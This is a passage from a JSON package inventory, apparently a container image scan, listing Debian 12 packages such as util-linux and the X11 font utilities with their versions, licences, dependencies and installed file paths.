"/usr/share/zoneinfo/right/Pacific/Easter", "/usr/share/zoneinfo/right/Pacific/Efate", "/usr/share/zoneinfo/right/Pacific/Fakaofo", "/usr/share/zoneinfo/right/Pacific/Fiji", "/usr/share/zoneinfo/right/Pacific/Funafuti", "/usr/share/zoneinfo/right/Pacific/Galapagos", "/usr/share/zoneinfo/right/Pacific/Gambier", "/usr/share/zoneinfo/right/Pacific/Guadalcanal", "/usr/share/zoneinfo/right/Pacific/Guam", "/usr/share/zoneinfo/right/Pacific/Honolulu", "/usr/share/zoneinfo/right/Pacific/Kanton", "/usr/share/zoneinfo/right/Pacific/Kiritimati", "/usr/share/zoneinfo/right/Pacific/Kosrae", "/usr/share/zoneinfo/right/Pacific/Kwajalein", "/usr/share/zoneinfo/right/Pacific/Majuro", "/usr/share/zoneinfo/right/Pacific/Marquesas", "/usr/share/zoneinfo/right/Pacific/Midway", "/usr/share/zoneinfo/right/Pacific/Nauru", "/usr/share/zoneinfo/right/Pacific/Niue", "/usr/share/zoneinfo/right/Pacific/Norfolk", "/usr/share/zoneinfo/right/Pacific/Noumea", "/usr/share/zoneinfo/right/Pacific/Pago_Pago", "/usr/share/zoneinfo/right/Pacific/Palau", "/usr/share/zoneinfo/right/Pacific/Pitcairn", "/usr/share/zoneinfo/right/Pacific/Pohnpei", "/usr/share/zoneinfo/right/Pacific/Port_Moresby", "/usr/share/zoneinfo/right/Pacific/Rarotonga", "/usr/share/zoneinfo/right/Pacific/Saipan", "/usr/share/zoneinfo/right/Pacific/Tahiti", "/usr/share/zoneinfo/right/Pacific/Tarawa", "/usr/share/zoneinfo/right/Pacific/Tongatapu", "/usr/share/zoneinfo/right/Pacific/Wake", "/usr/share/zoneinfo/right/Pacific/Wallis", "/usr/share/zoneinfo/right/WET", "/usr/share/zoneinfo/tzdata.zi", "/usr/share/zoneinfo/zone.tab", "/usr/share/zoneinfo/zone1970.tab" ], "AnalyzedBy": "dpkg" }, { "ID": "usr-is-merged@37~deb12u1", "Name": "usr-is-merged", "Identifier": { "PURL": "pkg:deb/debian/usr-is-merged@37~deb12u1?arch=all\u0026distro=debian-12.13", "UID": "e8bc76467481d3cd" }, "Version": "37~deb12u1", "Arch": "all", "SrcName": "usrmerge", "SrcVersion": "37~deb12u1", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Marco d'Itri \u003cmd@linux.it\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/share/doc/usr-is-merged/changelog.gz", "/usr/share/doc/usr-is-merged/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "util-linux@2.38.1-5+deb12u3", "Name": "util-linux", "Identifier": { "PURL": "pkg:deb/debian/util-linux@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "c50a1829816b9d94" }, "Version": "2.38.1", "Release": "5+deb12u3", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.38.1", "SrcRelease": "5+deb12u3", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "public-domain", "BSD-4-Clause", "MIT", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "LGPL-2.1-or-later", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "util-linux packagers \u003cutil-linux@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "util-linux-extra@2.38.1-5+deb12u3" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/dmesg", "/bin/findmnt", "/bin/lsblk", "/bin/more", "/bin/mountpoint", "/bin/su", "/bin/wdctl", "/lib/systemd/system/fstrim.service", "/lib/systemd/system/fstrim.timer", "/sbin/agetty", "/sbin/blkdiscard", "/sbin/blkid", "/sbin/blkzone", "/sbin/blockdev", "/sbin/chcpu", "/sbin/ctrlaltdel", "/sbin/findfs", "/sbin/fsck", "/sbin/fsck.cramfs", "/sbin/fsck.minix", "/sbin/fsfreeze", "/sbin/fstrim", "/sbin/isosize", "/sbin/mkfs", "/sbin/mkfs.bfs", "/sbin/mkfs.cramfs", "/sbin/mkfs.minix", "/sbin/mkswap", "/sbin/pivot_root", "/sbin/runuser", "/sbin/sulogin", "/sbin/swaplabel", "/sbin/switch_root", "/sbin/wipefs", "/sbin/zramctl", "/usr/bin/addpart", "/usr/bin/choom", "/usr/bin/chrt", "/usr/bin/delpart", "/usr/bin/fallocate", "/usr/bin/flock", "/usr/bin/getopt", "/usr/bin/hardlink", "/usr/bin/ionice", "/usr/bin/ipcmk", "/usr/bin/ipcrm", "/usr/bin/ipcs", "/usr/bin/last", "/usr/bin/lscpu", "/usr/bin/lsipc", "/usr/bin/lslocks", "/usr/bin/lslogins", "/usr/bin/lsmem", "/usr/bin/lsns", "/usr/bin/mcookie", "/usr/bin/mesg", "/usr/bin/namei", "/usr/bin/nsenter", "/usr/bin/partx", "/usr/bin/prlimit", "/usr/bin/rename.ul", "/usr/bin/resizepart", "/usr/bin/rev", "/usr/bin/setarch", "/usr/bin/setpriv", "/usr/bin/setsid", "/usr/bin/setterm", "/usr/bin/taskset", "/usr/bin/uclampset", "/usr/bin/unshare", "/usr/bin/utmpdump", "/usr/bin/whereis", "/usr/lib/mime/packages/util-linux", "/usr/sbin/chmem", "/usr/sbin/ldattach", "/usr/sbin/readprofile", "/usr/sbin/rtcwake", "/usr/share/bash-completion/completions/addpart", "/usr/share/bash-completion/completions/blkdiscard", "/usr/share/bash-completion/completions/blkid", "/usr/share/bash-completion/completions/blkzone", "/usr/share/bash-completion/completions/blockdev", "/usr/share/bash-completion/completions/chcpu", "/usr/share/bash-completion/completions/chmem", "/usr/share/bash-completion/completions/chrt", "/usr/share/bash-completion/completions/ctrlaltdel", "/usr/share/bash-completion/completions/delpart", "/usr/share/bash-completion/completions/dmesg", "/usr/share/bash-completion/completions/fallocate", "/usr/share/bash-completion/completions/findfs", "/usr/share/bash-completion/completions/findmnt", "/usr/share/bash-completion/completions/flock", "/usr/share/bash-completion/completions/fsck", "/usr/share/bash-completion/completions/fsck.cramfs", "/usr/share/bash-completion/completions/fsck.minix", "/usr/share/bash-completion/completions/fsfreeze", "/usr/share/bash-completion/completions/fstrim", "/usr/share/bash-completion/completions/getopt", "/usr/share/bash-completion/completions/hardlink", "/usr/share/bash-completion/completions/ionice", "/usr/share/bash-completion/completions/ipcmk", "/usr/share/bash-completion/completions/ipcrm", "/usr/share/bash-completion/completions/ipcs", "/usr/share/bash-completion/completions/isosize", "/usr/share/bash-completion/completions/last", "/usr/share/bash-completion/completions/ldattach", "/usr/share/bash-completion/completions/lsblk", "/usr/share/bash-completion/completions/lscpu", "/usr/share/bash-completion/completions/lsipc", "/usr/share/bash-completion/completions/lslocks", "/usr/share/bash-completion/completions/lslogins", "/usr/share/bash-completion/completions/lsmem", "/usr/share/bash-completion/completions/lsns", "/usr/share/bash-completion/completions/mcookie", "/usr/share/bash-completion/completions/mesg", "/usr/share/bash-completion/completions/mkfs", "/usr/share/bash-completion/completions/mkfs.bfs", "/usr/share/bash-completion/completions/mkfs.cramfs", "/usr/share/bash-completion/completions/mkfs.minix", "/usr/share/bash-completion/completions/mkswap", "/usr/share/bash-completion/completions/more", "/usr/share/bash-completion/completions/mountpoint", "/usr/share/bash-completion/completions/namei", "/usr/share/bash-completion/completions/nsenter", "/usr/share/bash-completion/completions/partx", "/usr/share/bash-completion/completions/pivot_root", "/usr/share/bash-completion/completions/prlimit", "/usr/share/bash-completion/completions/readprofile", "/usr/share/bash-completion/completions/resizepart", "/usr/share/bash-completion/completions/rev", "/usr/share/bash-completion/completions/rtcwake", "/usr/share/bash-completion/completions/setarch", "/usr/share/bash-completion/completions/setpriv", "/usr/share/bash-completion/completions/setsid", "/usr/share/bash-completion/completions/setterm", "/usr/share/bash-completion/completions/su", "/usr/share/bash-completion/completions/swaplabel", "/usr/share/bash-completion/completions/taskset", "/usr/share/bash-completion/completions/uclampset", "/usr/share/bash-completion/completions/unshare", "/usr/share/bash-completion/completions/utmpdump", "/usr/share/bash-completion/completions/wdctl", "/usr/share/bash-completion/completions/whereis", "/usr/share/bash-completion/completions/wipefs", "/usr/share/bash-completion/completions/zramctl", "/usr/share/doc/util-linux/00-about-docs.txt", "/usr/share/doc/util-linux/AUTHORS.gz", "/usr/share/doc/util-linux/PAM-configuration.txt", "/usr/share/doc/util-linux/README.Debian", "/usr/share/doc/util-linux/blkid.txt", "/usr/share/doc/util-linux/cal.txt", "/usr/share/doc/util-linux/changelog.Debian.gz", "/usr/share/doc/util-linux/changelog.gz", "/usr/share/doc/util-linux/col.txt", "/usr/share/doc/util-linux/copyright", "/usr/share/doc/util-linux/deprecated.txt", "/usr/share/doc/util-linux/examples/getopt-example.bash", "/usr/share/doc/util-linux/examples/getopt-example.tcsh", "/usr/share/doc/util-linux/getopt.txt", "/usr/share/doc/util-linux/getopt_changelog.txt", "/usr/share/doc/util-linux/howto-build-sys.txt", "/usr/share/doc/util-linux/howto-compilation.txt", "/usr/share/doc/util-linux/howto-contribute.txt.gz", "/usr/share/doc/util-linux/howto-debug.txt", "/usr/share/doc/util-linux/howto-man-page.txt", "/usr/share/doc/util-linux/howto-pull-request.txt.gz", "/usr/share/doc/util-linux/howto-tests.txt", "/usr/share/doc/util-linux/howto-usage-function.txt.gz", "/usr/share/doc/util-linux/hwclock.txt", "/usr/share/doc/util-linux/modems-with-agetty.txt", "/usr/share/doc/util-linux/mount.txt", "/usr/share/doc/util-linux/parse-date.txt.gz", "/usr/share/doc/util-linux/pg.txt", "/usr/share/doc/util-linux/poeigl.txt.gz", "/usr/share/doc/util-linux/release-schedule.txt", "/usr/share/doc/util-linux/releases/v2.13-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.14-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.15-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.16-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.17-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.18-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.19-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.20-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.21-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.22-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.23-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.24-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.25-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.26-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.27-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.28-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.29-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.30-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.31-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.32-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.33-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.34-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.35-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.36-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.37-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.38-ReleaseNotes.gz", "/usr/share/doc/util-linux/releases/v2.38.1-ReleaseNotes.gz", "/usr/share/lintian/overrides/util-linux", "/usr/share/man/man1/choom.1.gz", "/usr/share/man/man1/chrt.1.gz", "/usr/share/man/man1/dmesg.1.gz", "/usr/share/man/man1/fallocate.1.gz", "/usr/share/man/man1/flock.1.gz", "/usr/share/man/man1/getopt.1.gz", "/usr/share/man/man1/hardlink.1.gz", "/usr/share/man/man1/ionice.1.gz", "/usr/share/man/man1/ipcmk.1.gz", "/usr/share/man/man1/ipcrm.1.gz", "/usr/share/man/man1/ipcs.1.gz", "/usr/share/man/man1/last.1.gz", "/usr/share/man/man1/lscpu.1.gz", "/usr/share/man/man1/lsipc.1.gz", "/usr/share/man/man1/lslogins.1.gz", "/usr/share/man/man1/lsmem.1.gz", "/usr/share/man/man1/mcookie.1.gz", "/usr/share/man/man1/mesg.1.gz", "/usr/share/man/man1/more.1.gz", "/usr/share/man/man1/mountpoint.1.gz", "/usr/share/man/man1/namei.1.gz", "/usr/share/man/man1/nsenter.1.gz", "/usr/share/man/man1/prlimit.1.gz", "/usr/share/man/man1/rename.ul.1.gz", "/usr/share/man/man1/rev.1.gz", "/usr/share/man/man1/runuser.1.gz", "/usr/share/man/man1/setpriv.1.gz", "/usr/share/man/man1/setsid.1.gz", "/usr/share/man/man1/setterm.1.gz", "/usr/share/man/man1/su.1.gz", "/usr/share/man/man1/taskset.1.gz", "/usr/share/man/man1/uclampset.1.gz", "/usr/share/man/man1/unshare.1.gz", "/usr/share/man/man1/utmpdump.1.gz", "/usr/share/man/man1/whereis.1.gz", "/usr/share/man/man5/adjtime_config.5.gz", "/usr/share/man/man5/terminal-colors.d.5.gz", "/usr/share/man/man8/addpart.8.gz", "/usr/share/man/man8/agetty.8.gz", "/usr/share/man/man8/blkdiscard.8.gz", "/usr/share/man/man8/blkid.8.gz", "/usr/share/man/man8/blkzone.8.gz", "/usr/share/man/man8/blockdev.8.gz", "/usr/share/man/man8/chcpu.8.gz", "/usr/share/man/man8/chmem.8.gz", "/usr/share/man/man8/ctrlaltdel.8.gz", "/usr/share/man/man8/delpart.8.gz", "/usr/share/man/man8/findfs.8.gz", "/usr/share/man/man8/findmnt.8.gz", "/usr/share/man/man8/fsck.8.gz", "/usr/share/man/man8/fsck.cramfs.8.gz", "/usr/share/man/man8/fsck.minix.8.gz", "/usr/share/man/man8/fsfreeze.8.gz", "/usr/share/man/man8/fstrim.8.gz", "/usr/share/man/man8/isosize.8.gz", "/usr/share/man/man8/ldattach.8.gz", "/usr/share/man/man8/lsblk.8.gz", "/usr/share/man/man8/lslocks.8.gz", "/usr/share/man/man8/lsns.8.gz", "/usr/share/man/man8/mkfs.8.gz", "/usr/share/man/man8/mkfs.bfs.8.gz", "/usr/share/man/man8/mkfs.cramfs.8.gz", "/usr/share/man/man8/mkfs.minix.8.gz", "/usr/share/man/man8/mkswap.8.gz", "/usr/share/man/man8/partx.8.gz", "/usr/share/man/man8/pivot_root.8.gz", "/usr/share/man/man8/readprofile.8.gz", "/usr/share/man/man8/resizepart.8.gz", "/usr/share/man/man8/rtcwake.8.gz", "/usr/share/man/man8/setarch.8.gz", "/usr/share/man/man8/sulogin.8.gz", "/usr/share/man/man8/swaplabel.8.gz", "/usr/share/man/man8/switch_root.8.gz", "/usr/share/man/man8/wdctl.8.gz", "/usr/share/man/man8/wipefs.8.gz", "/usr/share/man/man8/zramctl.8.gz", "/usr/share/util-linux/logcheck/ignore.d.server/util-linux" ], "AnalyzedBy": "dpkg" }, { "ID": "util-linux-extra@2.38.1-5+deb12u3", "Name": "util-linux-extra", "Identifier": { "PURL": "pkg:deb/debian/util-linux-extra@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "53834ff6bfac9e5e" }, "Version": "2.38.1", "Release": "5+deb12u3", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.38.1", "SrcRelease": "5+deb12u3", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "public-domain", "BSD-4-Clause", "MIT", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "LGPL-2.1-or-later", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "util-linux packagers \u003cutil-linux@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit1@1:3.0.9-1", "libc6@2.36-9+deb12u13", "libsmartcols1@2.38.1-5+deb12u3" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/sbin/hwclock", "/usr/bin/fincore", "/usr/bin/lsfd", "/usr/bin/lsirq", "/usr/lib/udev/hwclock-set", "/usr/lib/udev/rules.d/85-hwclock.rules", "/usr/share/bash-completion/completions/fincore", "/usr/share/bash-completion/completions/hwclock", "/usr/share/bash-completion/completions/lsirq", "/usr/share/doc/util-linux-extra/changelog.Debian.gz", "/usr/share/doc/util-linux-extra/changelog.gz", "/usr/share/doc/util-linux-extra/copyright", "/usr/share/man/man1/fincore.1.gz", "/usr/share/man/man1/lsfd.1.gz", "/usr/share/man/man1/lsirq.1.gz", "/usr/share/man/man5/hwclock.5.gz", "/usr/share/man/man8/hwclock.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "x11-common@1:7.7+23", "Name": "x11-common", "Identifier": { "PURL": "pkg:deb/debian/x11-common@7.7%2B23?arch=all\u0026distro=debian-12.13\u0026epoch=1", "UID": "6567e98249a19cc9" }, "Version": "7.7+23", "Epoch": 1, "Arch": "all", "SrcName": "xorg", "SrcVersion": "7.7+23", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/x11-common/NEWS.Debian.gz", "/usr/share/doc/x11-common/changelog.Debian.old.gz", "/usr/share/doc/x11-common/changelog.gz", "/usr/share/doc/x11-common/copyright", "/usr/share/lintian/overrides/x11-common", "/usr/share/man/man5/Xsession.5.gz", "/usr/share/man/man5/Xsession.options.5.gz", "/usr/share/man/man5/Xsession.options.d.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "x11-xkb-utils@7.7+7", "Name": "x11-xkb-utils", "Identifier": { "PURL": "pkg:deb/debian/x11-xkb-utils@7.7%2B7?arch=amd64\u0026distro=debian-12.13", "UID": "c0f2402d486d1715" }, "Version": "7.7+7", "Arch": "amd64", "SrcName": "x11-xkb-utils", "SrcVersion": "7.7+7", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libx11-6@2:1.8.4-2+deb12u2", "libxaw7@2:1.0.14-1", "libxkbfile1@1:1.1.0-1", "libxrandr2@2:1.5.2-2+b1", "libxt6@1:1.2.1-1.1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/bin/setxkbmap", "/usr/bin/xkbbell", "/usr/bin/xkbcomp", "/usr/bin/xkbevd", "/usr/bin/xkbprint", "/usr/bin/xkbvleds", "/usr/bin/xkbwatch", "/usr/share/doc/x11-xkb-utils/changelog.gz", "/usr/share/doc/x11-xkb-utils/copyright", "/usr/share/doc/x11-xkb-utils/xkbevd-example.cf", "/usr/share/man/man1/setxkbmap.1.gz", "/usr/share/man/man1/xkbbell.1.gz", "/usr/share/man/man1/xkbcomp.1.gz", "/usr/share/man/man1/xkbevd.1.gz", "/usr/share/man/man1/xkbprint.1.gz", "/usr/share/man/man1/xkbvleds.1.gz", "/usr/share/man/man1/xkbwatch.1.gz", "/usr/share/pkgconfig/xkbcomp.pc" ], "AnalyzedBy": "dpkg" }, { "ID": "xfonts-encodings@1:1.0.4-2.2", "Name": "xfonts-encodings", "Identifier": { "PURL": "pkg:deb/debian/xfonts-encodings@1.0.4-2.2?arch=all\u0026distro=debian-12.13\u0026epoch=1", "UID": "fb1c7bb99aa46821" }, "Version": "1.0.4", "Release": "2.2", "Epoch": 1, "Arch": "all", "SrcName": "xfonts-encodings", "SrcVersion": "1.0.4", "SrcRelease": "2.2", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "x11-common@1:7.7+23" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/xfonts-encodings/changelog.Debian.gz", "/usr/share/doc/xfonts-encodings/changelog.gz", "/usr/share/doc/xfonts-encodings/copyright", "/usr/share/fonts/X11/encodings/adobe-dingbats.enc.gz", "/usr/share/fonts/X11/encodings/adobe-standard.enc.gz", "/usr/share/fonts/X11/encodings/adobe-symbol.enc.gz", "/usr/share/fonts/X11/encodings/armscii-8.enc.gz", "/usr/share/fonts/X11/encodings/ascii-0.enc.gz", "/usr/share/fonts/X11/encodings/dec-special.enc.gz", "/usr/share/fonts/X11/encodings/encodings.dir", "/usr/share/fonts/X11/encodings/ibm-cp437.enc.gz", "/usr/share/fonts/X11/encodings/ibm-cp850.enc.gz", "/usr/share/fonts/X11/encodings/ibm-cp852.enc.gz", "/usr/share/fonts/X11/encodings/ibm-cp866.enc.gz", "/usr/share/fonts/X11/encodings/iso8859-11.enc.gz", "/usr/share/fonts/X11/encodings/iso8859-13.enc.gz", "/usr/share/fonts/X11/encodings/iso8859-16.enc.gz", "/usr/share/fonts/X11/encodings/iso8859-6.16.enc.gz", "/usr/share/fonts/X11/encodings/iso8859-6.8x.enc.gz", "/usr/share/fonts/X11/encodings/large/big5.eten-0.enc.gz", "/usr/share/fonts/X11/encodings/large/big5hkscs-0.enc.gz", "/usr/share/fonts/X11/encodings/large/cns11643-1.enc.gz", "/usr/share/fonts/X11/encodings/large/cns11643-2.enc.gz", "/usr/share/fonts/X11/encodings/large/cns11643-3.enc.gz", "/usr/share/fonts/X11/encodings/large/encodings.dir", "/usr/share/fonts/X11/encodings/large/gb18030-0.enc.gz", "/usr/share/fonts/X11/encodings/large/gb18030.2000-0.enc.gz", "/usr/share/fonts/X11/encodings/large/gb18030.2000-1.enc.gz", "/usr/share/fonts/X11/encodings/large/gb2312.1980-0.enc.gz", "/usr/share/fonts/X11/encodings/large/gbk-0.enc.gz", "/usr/share/fonts/X11/encodings/large/jisx0201.1976-0.enc.gz", "/usr/share/fonts/X11/encodings/large/jisx0208.1990-0.enc.gz", "/usr/share/fonts/X11/encodings/large/jisx0212.1990-0.enc.gz", "/usr/share/fonts/X11/encodings/large/ksc5601.1987-0.enc.gz", "/usr/share/fonts/X11/encodings/large/ksc5601.1992-3.enc.gz", "/usr/share/fonts/X11/encodings/large/sun.unicode.india-0.enc.gz", "/usr/share/fonts/X11/encodings/microsoft-cp1250.enc.gz", "/usr/share/fonts/X11/encodings/microsoft-cp1251.enc.gz", "/usr/share/fonts/X11/encodings/microsoft-cp1252.enc.gz", "/usr/share/fonts/X11/encodings/microsoft-cp1253.enc.gz", "/usr/share/fonts/X11/encodings/microsoft-cp1254.enc.gz", "/usr/share/fonts/X11/encodings/microsoft-cp1255.enc.gz", "/usr/share/fonts/X11/encodings/microsoft-cp1256.enc.gz", "/usr/share/fonts/X11/encodings/microsoft-cp1257.enc.gz", "/usr/share/fonts/X11/encodings/microsoft-cp1258.enc.gz", "/usr/share/fonts/X11/encodings/microsoft-win3.1.enc.gz", "/usr/share/fonts/X11/encodings/mulearabic-0.enc.gz", "/usr/share/fonts/X11/encodings/mulearabic-1.enc.gz", "/usr/share/fonts/X11/encodings/mulearabic-2.enc.gz", "/usr/share/fonts/X11/encodings/mulelao-1.enc.gz", "/usr/share/fonts/X11/encodings/suneu-greek.enc.gz", "/usr/share/fonts/X11/encodings/tcvn-0.enc.gz", "/usr/share/fonts/X11/encodings/tis620-2.enc.gz", "/usr/share/fonts/X11/encodings/viscii1.1-1.enc.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "xfonts-scalable@1:1.0.3-1.3", "Name": "xfonts-scalable", "Identifier": { "PURL": "pkg:deb/debian/xfonts-scalable@1.0.3-1.3?arch=all\u0026distro=debian-12.13\u0026epoch=1", "UID": "af96156077681b6c" }, "Version": "1.0.3", "Release": "1.3", "Epoch": 1, "Arch": "all", "SrcName": "xfonts-scalable", "SrcVersion": "1.0.3", "SrcRelease": "1.3", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "xfonts-utils@1:7.7+6" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/xfonts-scalable/changelog.Debian.gz", "/usr/share/doc/xfonts-scalable/changelog.gz", "/usr/share/doc/xfonts-scalable/copyright", "/usr/share/fonts/X11/Type1/c0419bt_.afm", "/usr/share/fonts/X11/Type1/c0419bt_.pfb", "/usr/share/fonts/X11/Type1/c0582bt_.afm", "/usr/share/fonts/X11/Type1/c0582bt_.pfb", "/usr/share/fonts/X11/Type1/c0583bt_.afm", "/usr/share/fonts/X11/Type1/c0583bt_.pfb", "/usr/share/fonts/X11/Type1/c0611bt_.afm", "/usr/share/fonts/X11/Type1/c0611bt_.pfb", "/usr/share/fonts/X11/Type1/c0632bt_.afm", "/usr/share/fonts/X11/Type1/c0632bt_.pfb", "/usr/share/fonts/X11/Type1/c0633bt_.afm", "/usr/share/fonts/X11/Type1/c0633bt_.pfb", "/usr/share/fonts/X11/Type1/c0648bt_.afm", "/usr/share/fonts/X11/Type1/c0648bt_.pfb", "/usr/share/fonts/X11/Type1/c0649bt_.afm", "/usr/share/fonts/X11/Type1/c0649bt_.pfb" ], "AnalyzedBy": "dpkg" }, { "ID": "xfonts-utils@1:7.7+6", "Name": "xfonts-utils", "Identifier": { "PURL": "pkg:deb/debian/xfonts-utils@7.7%2B6?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "758ced9f0c620aad" }, "Version": "7.7+6", "Epoch": 1, "Arch": "amd64", "SrcName": "xfonts-utils", "SrcVersion": "7.7+6", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libfontenc1@1:1.1.4-1", "libfreetype6@2.12.1+dfsg-5+deb12u4", "x11-common@1:7.7+23", "xfonts-encodings@1:1.0.4-2.2", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/bin/bdftopcf", "/usr/bin/bdftruncate", "/usr/bin/fonttosfnt", "/usr/bin/mkfontdir", "/usr/bin/mkfontscale", "/usr/bin/ucs2any", "/usr/sbin/update-fonts-alias", "/usr/sbin/update-fonts-dir", "/usr/sbin/update-fonts-scale", "/usr/share/aclocal/fontutil.m4", "/usr/share/doc/xfonts-utils/changelog.gz", "/usr/share/doc/xfonts-utils/copyright", "/usr/share/fonts/X11/util/map-ISO8859-1", "/usr/share/fonts/X11/util/map-ISO8859-10", "/usr/share/fonts/X11/util/map-ISO8859-11", "/usr/share/fonts/X11/util/map-ISO8859-13", "/usr/share/fonts/X11/util/map-ISO8859-14", "/usr/share/fonts/X11/util/map-ISO8859-15", "/usr/share/fonts/X11/util/map-ISO8859-16", "/usr/share/fonts/X11/util/map-ISO8859-2", "/usr/share/fonts/X11/util/map-ISO8859-3", "/usr/share/fonts/X11/util/map-ISO8859-4", "/usr/share/fonts/X11/util/map-ISO8859-5", "/usr/share/fonts/X11/util/map-ISO8859-6", "/usr/share/fonts/X11/util/map-ISO8859-7", "/usr/share/fonts/X11/util/map-ISO8859-8", "/usr/share/fonts/X11/util/map-ISO8859-9", "/usr/share/fonts/X11/util/map-JISX0201.1976-0", "/usr/share/fonts/X11/util/map-KOI8-R", "/usr/share/man/man1/bdftopcf.1.gz", "/usr/share/man/man1/bdftruncate.1.gz", "/usr/share/man/man1/fonttosfnt.1.gz", "/usr/share/man/man1/mkfontdir.1.gz", "/usr/share/man/man1/mkfontscale.1.gz", "/usr/share/man/man1/ucs2any.1.gz", "/usr/share/man/man8/update-fonts-alias.8.gz", "/usr/share/man/man8/update-fonts-dir.8.gz", "/usr/share/man/man8/update-fonts-scale.8.gz", "/usr/share/pkgconfig/fontutil.pc" ], "AnalyzedBy": "dpkg" }, { "ID": "xkb-data@2.35.1-1", "Name": "xkb-data", "Identifier": { "PURL": "pkg:deb/debian/xkb-data@2.35.1-1?arch=all\u0026distro=debian-12.13", "UID": "994407e7161159ea" }, "Version": "2.35.1", "Release": "1", "Arch": "all", "SrcName": "xkeyboard-config", "SrcVersion": "2.35.1", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/X11/xkb/compat/README", "/usr/share/X11/xkb/compat/accessx", "/usr/share/X11/xkb/compat/basic", "/usr/share/X11/xkb/compat/caps", "/usr/share/X11/xkb/compat/complete", "/usr/share/X11/xkb/compat/iso9995", "/usr/share/X11/xkb/compat/japan", "/usr/share/X11/xkb/compat/ledcaps", "/usr/share/X11/xkb/compat/ledcompose", "/usr/share/X11/xkb/compat/lednum", "/usr/share/X11/xkb/compat/ledscroll", "/usr/share/X11/xkb/compat/level5", "/usr/share/X11/xkb/compat/misc", "/usr/share/X11/xkb/compat/mousekeys", 